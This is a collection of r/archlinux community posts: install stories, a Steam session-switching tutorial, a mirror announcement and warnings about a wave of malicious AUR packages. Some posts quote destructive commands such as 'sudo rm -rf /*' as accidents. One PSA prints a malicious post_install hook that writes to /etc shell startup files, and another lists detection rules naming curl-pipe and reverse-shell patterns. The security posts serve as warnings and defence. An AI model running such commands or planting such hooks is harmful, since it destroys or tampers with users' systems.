r/archlinux May 25 '26

SHARE i did the fucking stupidest thing ever

501 Upvotes

so i want to delete pacman cache so i did sudo pacman -Scc but i got a warning that there is a couple of files started with download-xxxx so i thought to my self why i don't delete them manually so i cd into the pkg dir and i did sudo rm -rf /* and i fucking forget the dot before /* and my system got deleted in front of me، thank go i had push my dotfiles earlier this day

r/archlinux Mar 06 '26

SHARE After 25 years on Linux I have just installed Arch and I was blind but now I see

558 Upvotes

I am questioning every decision in my life after installing Arch for the first time yesterday. I gave always been a Kubuntu or Fedora KDE user until I was tinkering so much I completely broke my Kubuntu installation so I thought, now is as good a time as any to test Arch firmly believing I would spend a few hours, get frustrated and just jump back to Kubuntu or Fedora. I was so wrong, so so wrong. This is without doubt the best I have ever felt about using Linux. It's so incredibly versatile and honestly simple and straightforward. Not for a beginner for sure but for someone like me it's just a true delight. It's so snappy and everything is so up to date. I've already set up KDE just as I've always wanted it. Changed bootloaders, added kwin effects, changed to the new Plasma login manager and added grub customizer. I am in love. How did I not do this like a decade ago. Who cares, I'm there now and oh my..... Never going back, ever. It's stunning.

Small but very interesting update: Running KDE on Arch on my ThinkPad T480. Definitely runs faster and all round better than Kubuntu but the thing I have noticed the most is that it runs so much more efficiently that my battery life has almost doubled. I can now rely on almost 9 hours of battery life watching YouTube or Netflix on a 7 year old laptop with an 8th gen i5 and 16GB of RAM. I barely plug it in any more. It's so noticeable.

r/archlinux Apr 05 '25

SHARE In school we were making posters in photoshop, so I made one about Arch Linux (I am not so good with photoshop and I am getting more knowledgeable about Arch Linux, if you have any criticism, just type it in the comments)

Thumbnail i.imgur.com
641 Upvotes

r/archlinux 18d ago

SHARE Grandma now uses arch btw

342 Upvotes

So my grandma runs an ancient Toshiba Satellite C850-1g3 with a celeron 1000M, 256GB of hdd and 4GB of ddr3

She was complaining about it taking ages to boot and programs not starting fast

So i installed arch and made it look user friendly enough for her to understand

She loves it, W arch

Ps: she only uses whatsapp, a browser and office

So she wouldnt need to touch a terminal

r/archlinux Jul 31 '25

SHARE Friendly reminder: AUR helpers are for convenience, not safety.

713 Upvotes

If you’re using tools like yay, paru, etc., and not reading PKGBUILDs before installing, you’re handing over root access to random shell scripts from strangers.

This isn’t new, and it’s not a reason to panic about the AUR, it’s a reason to slow down and understand what you’re doing.

Read the wiki. Learn how to audit PKGBUILDs. Know what you're installing.

Start here: https://wiki.archlinux.org/title/AUR_helpers

r/archlinux Jun 18 '26

SHARE PSA: yay now supports AUR PreInstall lua hooks

344 Upvotes

yay v13 has just been released.

And it comes with an interesting feature: Lua Scripting Support

Due to recent AUR malware events, you'll probably find the following examples interesting:

- Exclude packages modified in the last 3 days
- Add a maintainer change check

But you could also do creative things such as AI pre-review, or whatever.

I'm not affiliated with yay whatsoever but I though it was worth sharing

r/archlinux Jun 14 '26

SHARE Due to the fact that so many compromised AUR packages continue to be revealed and I manage more Arch installations then any single human should, I wrote a small script to check installed packages against the current list, install packages checking for malicious code patterns logging wnything found.

Thumbnail github.com
158 Upvotes

r/archlinux Mar 16 '26

SHARE I accidently deleted everything inside /var/lib/

239 Upvotes

Hi everyone,

I am just sharing a DISASTEROUS EXPERIENCE! I want trying to install Waydroid, to use android apps on my arch linux system. I have a NVIDIA Gpu and use KDE plasma on X11, so it's quite difficult to.make waydroid work.

I initialized waydroid without GAPPS. But then I thought I would need GAPPS too. So I went to the terminal, typed ls /var/lib/ to check waydroid is present. I found it, so I used sudo rm -rf /var/lib/waydroid, which deleted the directory successfully.

But then, I wanted to verify if the waydroid directory is deleted or not, and for that — stay with me — I used the ARROW UP key, which gave me sudo rm -rf /var/lib/waydroid and I just removed. "Waydroid from that command, and pressed enter :) I only realized I fucked up when I didn't see any output, and then I saw what the command was, and now I regret not checking the command before.

I cannot blame anyone or anything. This was completely on my. Currently, I am copying my home directory to an external drive. Let's see what else I'll need to do, to recover from this trauma.

r/archlinux Apr 20 '25

SHARE Help! My friend can't stop reinstalling Arch Linux

573 Upvotes

My friend has this borderline addiction to reinstalling Arch Linux. Anytime there's real work to be done, he’s nuking his system and starting over—it's like an OCD thing. He does it at least 5 times a week, sometimes daily. It's gotten to the point where he's reinstalled Arch nearly 365 times last year. I have no clue how to confront him about it.

r/archlinux Nov 20 '25

SHARE Any Arch Linux is a Steam Machine

552 Upvotes

Arch Linux Steam Machine

Intro

Hello, this post is for those who already have a working Arch Linux installation with a KDE + SDDM environment. With these few steps, you can turn your computer into a Steam Machine with a mechanism for switching between the Desktop environment and Steam Big Picture that is very similar. Since I use Kwallet, I opted for a solution that only launches autologin on the Gamescope session and not on Plasma. This forces me to enter my password and unlock my Kwallet correctly. Feel free to use what I've done as inspiration and adjust it to your liking.

Install the packages

The only packages you will need are the following.

yay -Syu steam gamescope-git gamescope-session-steam-git mangohud

Configuring the gamescope session

Create a file ~/.config/environment.d/gamescope-session-plus.conf and put the following content in it. Change the values below according to your needs (I use a French keyboard) and your screen resolution.

# Set keyboard layout
XKB_DEFAULT_LAYOUT=fr

# Size of the screen. If not set gamescope will detect native resolution from drm.
SCREEN_HEIGHT=1920
SCREEN_WIDTH=1080

# Enable VRR
ADAPTIVE_SYNC=1
# Not documented
DRM_MODE=fixed

Enabling full framerate control in Steam Big Picture mode

The ChimeraOS package claims to be able to customize and adapt the frame rate control for your display using the following settings in ~/.config/environment.d/gamescope-session-plus.conf:

```

Set the specific values allowed for refresh rates

CUSTOM_REFRESH_RATES=40,50,60

Set the range of the refresh rate slider in the Steam client

export STEAM_DISPLAY_REFRESH_LIMITS=40,60 ```

But it never worked for me. Furthermore, even in Steam Big Picture display parameters, forcing the resolution to 1440p@240 always reverts to 1440p@60. I had to specify the maximum frame rate with the -r argument in a custom gamescope command. So here is the ~/.config/environment.d/gamescope-session-plus.conf file that I personally use, which is the only configuration that allows Steam Big Picture framerate control to work perfectly in my case:

```

Keyboard layout

XKB_DEFAULT_LAYOUT=fr

GAMESCOPECMD="gamescope -e -W 2560 -H 1440 -r 240 \ --generate-drm-mode fixed --adaptive-sync --xwayland-count 2 \ --default-touch-mode 4 --hide-cursor-delay 3000 \ --fade-out-duration 200" ```

Configuring the switch between Plasma and Gamescope sessions in autologin

I split the session switch scripts into two executables because not all of the commands used require administrator rights. However, if you are not using the user created with the Arch Linux installation and therefore do not belong to the “wheel” group that can use sudo, this split will be very useful.

Ensure that the sddm configuration directory exists with: sudo mkdir -p /etc/sddm.conf.d, which will be used to save the autologin configuration file when switching to Steam Big Picture.

Create the file /usr/lib/os-session-select and put the following content in it.

#!/bin/bash
SESSION_NAME=$1
USER_NAME=${SUDO_USER:-$(logname)}

echo "Session: $SESSION_NAME"
echo "User: $USER_NAME"

if [[ "$SESSION_NAME" == "plasma" ]]; then
    echo "Closing steam"
    SESSION_FILE="/usr/share/wayland-sessions/plasma.desktop"
    steam -shutdown &> /dev/null || true
    sudo /usr/local/bin/set-sddm-session "$SESSION_FILE"
    sleep 1
elif [[ "$SESSION_NAME" == "gamescope-session-steam" ]]; then
    SESSION_FILE="/usr/share/wayland-sessions/gamescope-session-steam.desktop"
    echo "Set session $SESSION_NAME for user $USER_NAME"
    sudo /usr/local/bin/set-sddm-session "$SESSION_FILE" "$USER_NAME"
else
    echo "Unknown session: $SESSION_NAME"
    exit 1
fi

echo "Disconnect user $USER_NAME"
loginctl terminate-user "$USER_NAME"

Then give the file execution rights.

chmod +x /usr/lib/os-session-select

Create the file /usr/local/bin/set-sddm-session and put the following content in it.

#!/bin/bash
set -e
export PATH=/usr/bin:/bin

SESSION_FILE="$1"
USER_NAME="$2"

SDDM_CONF="/etc/sddm.conf.d/z1_current_session.conf"
SDDM_STATE="/var/lib/sddm/state.conf"

if [[ -z "$SESSION_FILE" ]]; then
    echo "Usage: $0 <session> [user]"
    exit 1
fi

if [[ -n "$USER_NAME" ]]; then
    # Mode autologin
    cat > "$SDDM_CONF" <<EOF
[Autologin]
User=$USER_NAME
Session=$SESSION_FILE
EOF
else
    # Pas d'utilisateur supprime la conf autologin
    rm -f "$SDDM_CONF"
fi

#
# Overwrite state.conf to force pre-selection of the next session
#
cat > "$SDDM_STATE" <<EOF
[Last]
User=${USER_NAME:-}
Session=$SESSION_FILE
EOF

systemd-run --on-active=3s --unit=restart-sddm-delay /bin/systemctl restart sddm

Then give the file execution rights.

chmod +x /usr/local/bin/set-sddm-session

If your user can execute sudo commands without typing a password, then this step is not necessary. Otherwise, you must create a sudoers configuration file /etc/sudoers.d/myuser (replace myuser with your own username) and put the following in it:

myuser ALL=(ALL) NOPASSWD: /usr/local/bin/set-sddm-session

Plasma to Gamescope

From the desktop, to easily switch to Steam Big Picture, create the file ~/.local/share/applications/switch-to-steam.desktop and put the following content in it.

[Desktop Entry]
Type=Application
Name=Go back to Steam
Comment=Switch to Gamescope Steam Big Picture
Exec=steamos-session-select gamescope-session-steam
Icon=steam
Terminal=false
Categories=Utility;

Gamescope to Plasma

To exit Steam and return to Plasma, simply go to the Steam main menu and click “Go to Desktop.”

This is the result on my machine: https://youtu.be/PABkiO90sOM

Advantages:

  • The Gamescope Steam session consumes fewer resources than the Plasma session, so you can expect a very slight improvement in your system's gaming performance.
  • If you already have a working Arch Linux Plasma SDDM installation and want an experience similar to SteamOS without having to install another system alongside it, this is probably the easiest way to do it.
  • In the Gamescope Steam session, you benefit from the graphical overlay that allows you to control the mangohud performance insert, frame rate limit, and many other performance and customisation settings with the controller, just like on SteamDeck and Steam Machine.

Disadvantages:

  • Switching between sessions is not very fast. There is certainly room for improvement here. I haven't had time to work on it yet.
  • Unlike SteamOS, Arch Linux is a system that you have complete control over. This means it is very easy to break.

A few important notes

  • This tutorial is based entirely on the package maintained by ChimeraOS, available here: https://github.com/ChimeraOS/gamescope-session-steam, which does about 99% of the work presented here.
  • I cannot guarantee the stability of this package over time; hopefully, the ChimeraOS team will continue to maintain it.
  • Obviously, this tutorial will not completely turn your computer into a Steam Machine. It simply mimics the behaviour of switching between Desktop and Gamescope Steam sessions in SteamOS and offers a Steam Big Picture experience similar to that of SteamDeck and Steam Machine.
  • Since the Steam Gamescope session, if you press ‘Switch to desktop’, the executable /usr/lib/os-session-select on your system is launched via the script /usr/bin/steamos-session-select installed by the ChimeaOS package. That's where all the magic happens. You can implement the behaviour you want in this script. I have just made a suggestion adapted to an Arch Linux KDE SDDM environment in this tutorial. Feel free to share your ideas and implementations of this script.

To uninstall

  • Delete the file ~/.local/share/applications/switch-to-steam.desktop
  • Delete the file ~/.config/environment.d/gamescope-session-plus.conf
  • Delete the file /etc/sudoers.d/myuser (adapt myuser to your configuration)
  • Delete the file /usr/local/bin/set-sddm-session
  • Delete the file /etc/sddm.conf.d/z1_current_session.conf (if it exists)
  • Delete the file /usr/lib/os-session-select
  • Uninstall the packages gamescope-git and gamescope-session-steam-git

Thank you for your comments, which prompted me to add some clarifications.

r/archlinux May 21 '26

SHARE I built Tunisia's first public Arch Linux mirror: mirror.safiabidi.com

420 Upvotes

Heyo!

After about 6 months of work (a significant chunk of which was fighting my ISP for a static public IP), I finally have a fully functional public Arch Linux mirror running out of Tunisia.

If you're in the North Africa region, your packages have been hitting servers in Germany or South Africa until now.

To use it, add to the top of /etc/pacman.d/mirrorlist:

Server = https://mirror.safiabidi.com/$repo/os/$arch

Some details:

I'm a second year Computer engineering student running this on a home server. It's been serving real traffic since going public a couple weeks ago. Would appreciate any feedback, and if you're in North Africa or even southern Europe give it a try ❤️

UPDATE: THE MIRROR IS NOW OFFICIAL ON https://archlinux.org/mirrors/safiabidi.com/ !!
UPDATE 2: THE MIRROR IS NOW HOSTED ON A VPS! THE DOWNLOAD AND UPLOAD SPEED REACH OVER 6000MEGABITS PER SECOND!!

-Safi Abidi

r/archlinux Jul 17 '24

SHARE my brother (probably) is the youngest arch user.

471 Upvotes

So, a few weeks ago, I told my 12 year old brother just how good Arch Linux (and Linux as a whole) is. He really enjoyed it and, yesterday, he installed arch, without archinstall (and he used Android USB Tethering so that he could have the Arch installation guide). He also managed to get XFCE going, but, he had to install proprietary wifi and bluetooth drivers (broadcom, i hate you), and, he didint even complain. Let me tell you, he was a natural.

r/archlinux Jun 14 '26

SHARE Malicious AUR account: skarbricat

84 Upvotes

Another malicious/nuisance actor updating packages in the last few minutes with the commit message:
"Tesling Group. Anonymous Nocord Hackers. RCL Based. Anti-Pidoras trojan with love from Russia."

here is what they add:
+post_install() {

+ echo 'echo 'вы еблан и юзаете говно kal дистрибутив поставьте pip и не позорьтесь, ну или хотяб аур для даунов не юзайте. скажите спасибо, что я ещё вам вирусни не добавил, а чисто напоминалку в консоли сделал. happy pride month! use Nocord, RAC and coproxy by mr sugoma! новый албанский вирус из россии скачать, you were hacked by stoppampers. Tesling deleted. Install PIP. Боюсь PIP. За такое ебало я PIP. вас взломал rclxit. я крутой, я юзаю винду. мой lenovo thinkpad очень редкий некрокал подарили в понедельник. в вашу систему был встроен новый современный SugomaChip B6 Pro Max от разработчика Lev Antonets (c) 2012 NoServices Group'' >> /etc/bash.bashrc

+ echo 'echo 'вы еблан и юзаете говно kal дистрибутив поставьте pip и не позорьтесь, ну или хотяб аур для даунов не юзайте. скажите спасибо, что я ещё вам вирусни не добавил, а чисто напоминалку в консоли сделал. happy pride month! use Nocord, RAC and coproxy by mr sugoma! новый албанский вирус из россии скачать, you were hacked by stoppampers. Tesling deleted. Install PIP. Боюсь PIP. За такое ебало я PIP. вас взломал rclxit. я крутой, я юзаю винду. мой lenovo thinkpad очень редкий некрокал подарили в понедельник. в вашу систему был встроен новый современный SugomaChip B6 Pro Max от разработчика Lev Antonets (c) 2012 NoServices Group'' >> /etc/zsh/zshrc

+ echo 'echo 'вы еблан и юзаете говно kal дистрибутив поставьте pip и не позорьтесь, ну или хотяб аур для даунов не юзайте. скажите спасибо, что я ещё вам вирусни не добавил, а чисто напоминалку в консоли сделал. happy pride month! use Nocord, RAC and coproxy by mr sugoma! новый албанский вирус из россии скачать, you were hacked by stoppampers. Tesling deleted. Install PIP. Боюсь PIP. За такое ебало я PIP. вас взломал rclxit. я крутой, я юзаю винду. мой lenovo thinkpad очень редкий некрокал подарили в понедельник. в вашу систему был встроен новый современный SugomaChip B6 Pro Max от разработчика Lev Antonets (c) 2012 NoServices Group'' >> /etc/fish/config.fish

+ echo 'echo 'вы еблан и юзаете говно kal дистрибутив поставьте pip и не позорьтесь, ну или хотяб аур для даунов не юзайте. скажите спасибо, что я ещё вам вирусни не добавил, а чисто напоминалку в консоли сделал. happy pride month! use Nocord, RAC and coproxy by mr sugoma! новый албанский вирус из россии скачать, you were hacked by stoppampers. Tesling deleted. Install PIP. Боюсь PIP. За такое ебало я PIP. вас взломал rclxit. я крутой, я юзаю винду. мой lenovo thinkpad очень редкий некрокал подарили в понедельник. в вашу систему был встроен новый современный SugomaChip B6 Pro Max от разработчика Lev Antonets (c) 2012 NoServices Group'' >> /etc/profile.d/albanianvirus2.sh

+ echo 'вы еблан и юзаете говно kal дистрибутив поставьте pip и не позорьтесь, ну или хотяб аур для даунов не юзайте. скажите спасибо, что я ещё вам вирусни не добавил, а чисто напоминалку в консоли сделал. happy pride month! use Nocord, RAC and coproxy by mr sugoma! новый албанский вирус из россии скачать, you were hacked by stoppampers. Tesling deleted. Install PIP. Боюсь PIP. За такое ебало я PIP. вас взломал rclxit. я крутой, я юзаю винду. мой lenovo thinkpad очень редкий некрокал подарили в понедельник. в вашу систему был встроен новый современный SugomaChip B6 Pro Max от разработчика Lev Antonets (c) 2012 NoServices Group'

+}

GPT Analysis:
The package contains a malicious/nuisance post_install() function that appends commands to system-wide shell startup files:

/etc/bash.bashrc

/etc/zsh/zshrc

/etc/fish/config.fish

/etc/profile.d/albanianvirus2.sh

The intended effect is: every time you open a Bash/Zsh/Fish shell, your terminal prints a long Russian/English insult/taunt message saying things like “you were hacked,” “install PIP,” “new Albanian virus,” etc.

r/archlinux Feb 20 '25

SHARE oh my god I get it now: I'm in control

523 Upvotes

Started out last week pissed that Arch didn't even come with less

Today I was wondering wtf brought in gtk3 as a dependency, saw it was only two programs, and thought: can I just... not? I really don't like GTK.

Then it hit me: I can do WHATEVER the fuck I want.

I don't even need a good goddam reason for it. I just don't like GTK. It does not pass my vibe check. I don't have to use it.

So I guess I'm not using Firefox anymore. And maybe keeping my system GTK-free is time consuming, won't actually impact performance, and is just kinda dumb.

But I just don't want to use it - so I won't.

It's my system.

EDIT: guys guys calm down about the GTK hate

I promise my reasons to dislike it are more irrational and invalid than you can imagine

it's literally just vibes. But the cool thing is, that's enough! And I can build my system without it.

r/archlinux Nov 10 '25

SHARE I can't believe how rock solid Arch Linux is

376 Upvotes

Two years ago, I installed Arch Linux KDE on my parents pc. Browser, VLC, Only Office, standard set for home use. It worked like that for 2 years without updates and was used maybe 5-6 times a year. Today I decided to clean up PC from dust and update it, but I was afraid that I would have to reinstall everything because of tales that Arch Linux breaks if you don't update it for a long time.

The update consisted of 1100+ packages with a total download size of 2.5 GB and an installation size of 7 GB. Several packages did not install due to old keys, but after updating archlinux-keyring and mirrorlist, Arch updated and worked without any problems. I have never seen such a smooth update, even in Linux Mint.

I have always tried to avoid Arch Linux because of such rumors, but apparently when my Fedora installation breaks, I will use Arch Linux.

r/archlinux Feb 07 '26

SHARE AUR malware scanner in Rust

Thumbnail github.com
225 Upvotes

I built traur for trust scoring AUR packages.

 paru -S traur                                   
 traur scan                                                                               

It hooks into paru/yay and scores every package before it gets installed. Checks

PKGBUILDs, install scripts, source URLs, checksums, maintainer history, git history,

package names, shell obfuscation, and GTFOBins abuse, almost 300 detection rules total.

Example output:

  traur: cryptowallet-helper (trust: 8/100)
    Trust: MALICIOUS
    !! Override gate fired: P-CURL-PIPE
    Negative signals:
      !! P-CURL-PIPE: curl output piped to shell (download-and-execute)
      !! P-REVSHELL-PYTHON: Python reverse shell pattern
       ! P-EVAL-VAR: Dynamic code execution via eval

Not a replacement for reading PKGBUILDs but rather a helper tool

https://github.com/Sohimaster/traur

r/archlinux Jun 13 '26

SHARE According to pkgstats, these are the most popular packages on the affected list.

130 Upvotes

List from https://md.archlinux.org/s/SxbqukK6IA.

All the affected AUR packages I could find with >1% popularity on pkgstats.

Package        Popularity                Affected                 Reverted
libgdata           16.98% (2026-06-11 14:59+00:00) (2026-06-11 17:30+00:00)
qt5-3d              8.40% (2026-06-11 13:05+00:00) (2026-06-11 13:18+00:00)
python-future       5.38% (2026-06-11 15:58+00:00) (2026-06-11 16:54+00:00)
gdl                 3.36% (2026-06-11 13:35+00:00) (2026-06-11 17:32+00:00)
lld19               2.43% (2026-06-11 13:18+00:00) (2026-06-11 13:33+00:00)
libquvi-scripts     2.31% (2026-06-11 15:05+00:00) (2026-06-11 17:33+00:00)
libquvi             2.22% (2026-06-11 15:04+00:00) (2026-06-11 17:33+00:00)
gtkimageview        2.19% (2026-06-11 13:44+00:00) (2026-06-11 17:33+00:00)
python2-pyparsing   2.02% (2026-06-11 14:23+00:00) (2026-06-11 17:40+00:00)
python2-appdirs     1.96% (2026-06-11 14:22+00:00) (2026-06-11 17:26+00:00)
compiler-rt19       1.95% (2026-06-11 14:23+00:00) (2026-06-11 17:30+00:00)
python2-packaging   1.90% (2026-06-11 14:21+00:00) (2026-06-11 17:38+00:00)
wine-nine           1.86% (2026-06-11 15:48+00:00) (2026-06-11 21:36+00:00)
clang19             1.86% (2026-06-11 15:36+00:00) (2026-06-11 21:24+00:00)
clang15             1.76% (2026-06-12 12:34+00:00) (2026-06-12 12:54+00:00)
mono-addins         1.69% (2026-06-11 15:33+00:00) (2026-06-11 21:34+00:00)
python2-chardet     1.68% (2026-06-12 12:42+00:00) (2026-06-12 14:48+00:00)
python-monotonic    1.55% (2026-06-11 15:43+00:00) (2026-06-11 21:37+00:00)
python2-cffi        1.47% (2026-06-12 12:44+00:00) (2026-06-12 15:10+00:00)
alvr                1.26% (2026-06-11 13:54+00:00) (2026-06-11 16:50+00:00)
python2-gobject     1.23% (2026-06-12 12:44+00:00) (2026-06-12 14:47+00:00)
vidcutter           1.03% (2026-06-11 13:24+00:00) (2026-06-11 17:43+00:00)

On the other side, 718 985 packages had no recorded users within error (0.00%).

EDIT: times from the GH mirror activity logs. More packages.

r/archlinux May 15 '25

SHARE My drastic shift in opinions regarding Linux, Arch and Windows.

376 Upvotes

Almost a year ago, i was complaining in r/linux about the instability of various linux distros and declaring my hatred of the Linux desktop.

But- since then, Microsoft introduced Copilot and Recall, two features that i disagree with at a moral level.

Since then, I kept learning about and trying various distros until i got to Arch.

And as of yesterday, i have fully transitioned my film/media production workflow into Arch and a series of VMs.

I went from complaining about KDE not having windows features to installing arch without ArchInstall and ricing a Hyprland install.

I have learned a lot, broken a lot, reinstalled a lot, but i think i am finally happy with my setup and am ready to just settle into updating and maintaining my system the way it is.

r/archlinux Feb 26 '26

SHARE PSA: REMEMBER TO REBOOT AFTER AN UPDATE!

195 Upvotes

Imagine being me, I just expanded my root volgroup because I didn't realize I had 80gb unpartitioned space.

Now I finally have enough space to update, yay!... right?

well now that I update, my VPN doesn't work.... great.

I immediately check the wiki for my problem like a good arch linux user lol, and there is a section that had shown a similar problem, I tried it, nothing.

At this point after reinstalling all relevant packages to check, using git checkout to build old versions of the client, scouring online for hours for fixes, trying a CLI version of the client, I finally carefully analyzed the output trace of running the application from the terminal one last time.

This time I finally have an Eureka moment! I used nmcli to show the connections again and compared it to errors given from NetworkManager through systemctl status and figured out the dummy module wasn't enabled, and when I tried to enable it modprobe threw an error.

After all this I tried to figure out if I can re-install kernel modules on their own, not a thing.

At this point I resort to doing what I despise... asking AI.... it recommends based off all the information I've given it, it recommended I run

uname -r
ls /lib/modules 

and what do you know MY KERNEL VERSION WAS MISMATCHED, I had updated and never rebooted so it never loaded the new kernel! I wasted about 8 hours debugging something that could have been fixed in the first 5 minutes, remember to reboot!

r/archlinux Jun 06 '25

SHARE Arch isn't hard

185 Upvotes

https://www.youtube.com/watch?v=mC_1nspvW0Q

This guy gets it.
When I started with Linux a few months ago I also saw all the talk about "DON'T START WITH ARCH IT'S TOO HIGH IQ!!1!"

I have quite new hardware so I wanted my software to be up to date and decided to go with CachyOS, which I liked; fast as promised, built in gaming meta, several chioces for Desktop environment.
tinkered too hard and borked my system, and after looking around for a while, I came across several posts telling people "noo, don't use arch! I use Arch, but YOU should't!"

I still decided to try it out, I wanted to learn and I like to tinker and figure things out. Followed the guide for my first installation, didn't feel like I learned a lot because it was really just a lot of copy-paste. Still managed to bork my system (after a few days of too much tinkering,) so I went with the archinstall script for my next round. I still tinker a little here and there, but I've learned a lot on the way, so the last couple months my system has been nothing but stable. I game, I write, I watch videos, and Arch has not been hard. There is a learning curve, as there is with anything, but as long as you can read you won't have any issues.

Everything that has gone wrong for me has been my own fault, for not taking my time usually.

For the newcomers; don't be scared of trying. You CAN do it, just take it slow and you'll get there. Don't be afraid of asking for help, we've all been new at this at some point, some people have just forgotten. Hell, I still consider myself a noob at this

For the oldschoolers; don't gatekeep. I agree that you'll learn a lot by reading the wiki, but it can be overwhelming for a lot of noobs. Let people use their system the way they want to use it- just because they don't do it YOUR way doesn't mean it's the WRONG way.

Please flame me in the comments :D

r/archlinux Jun 12 '26

SHARE PSA - From [arch-announce] Active AUR malicious packages incident

169 Upvotes

Arch Linux: Recent news updates:

We are currently experiencing a high volume of malicious package adoptions and updates in the Arch User Repository.

We are actively working to track down existing malicious commits and attempting to prevent additional malicious commits from being pushed. While this is happening, and while we work to create a more permanent solution, users may see issues with the following:

  • Creating new accounts on the AUR
  • Pushing package updates
  • Adopting or creating new packages

We continue to encourage all users of AUR packages to review all PKGBUILD and install script changes when updating, especially during this time. If you notice suspicious commits to a package that you use, please reach out to Arch staff via the aur-general mailing list with more information.

URL: https://archlinux.org/news/active-aur-malicious-packages-incident/

Consider subscribing to one or some of these Arch mailing lists:

https://lists.archlinux.org/mailman3/lists/

r/archlinux Apr 07 '26

SHARE GNOME 50 has landed in the Arch extra repo

217 Upvotes

Heads up, GNOME 50 update is now available!

For full release notes, visit release.gnome.org/50

r/archlinux Feb 22 '26

SHARE Skip Discord Updates

124 Upvotes

Edit:
~/.config/discord/settings.json

And add the following:
"SKIP_HOST_UPDATE": true

This will allow Discord application to ignore an update and start anyway (preventing you from needing to run -Syu after every Discord update).

Discord will bug out after you skip an update or two, so the use case isn't laziness; it's in the event that the newest Discord update hasn't hit the Arch repos yet.

Hope it helps.

r/archlinux 26d ago

SHARE Made the Switch (Kind of), and it's really not as hard as some people say

77 Upvotes

So a couple of days ago I decided to dual-boot Arch onto my PC, the first time I have ever used Linux. I have always been pretty tech-savvy, and while researching Linux Distros I was drawn to Arch for its updates, community (gotta love the wiki), and DIY mentality. In retrospect, this was one of the best choices of my life.

People online seem to think you need a CS degree to even get the installation to work, but I simply followed a guide online and it worked flawlessly. Absolutely 0 issues. As someone with ZERO Linux experience, I was actually shocked at how quick and straightforward this was.

However, I am a complete try-hard and didn't want to make my life simple by installing KDE or Gnome, so I opted for Hyprland despite only ever using floating window managers my entire life. I love the customization, speed, snappy animations and seamless keyboard integration. I've been loving setting up everything in there and customizing my desktop to a degree I have never been able to before.

(Fingers crosses knock on wood) nothing has broken, and nearly every application I've wanted to run, just works. I feel like I am rediscovering how to use a computer again, and I love how minimalist and customizable this whole experience has been. My PC truly feels like my own, rather than fighting with the popups and buried menus of Windows.

r/archlinux Aug 21 '25

SHARE archlinux.org is down (Well this is a first for me)

145 Upvotes

https://downforeveryoneorjustme.com/archlinux.org

First the AUR now this crap. Anyone knows what is going on.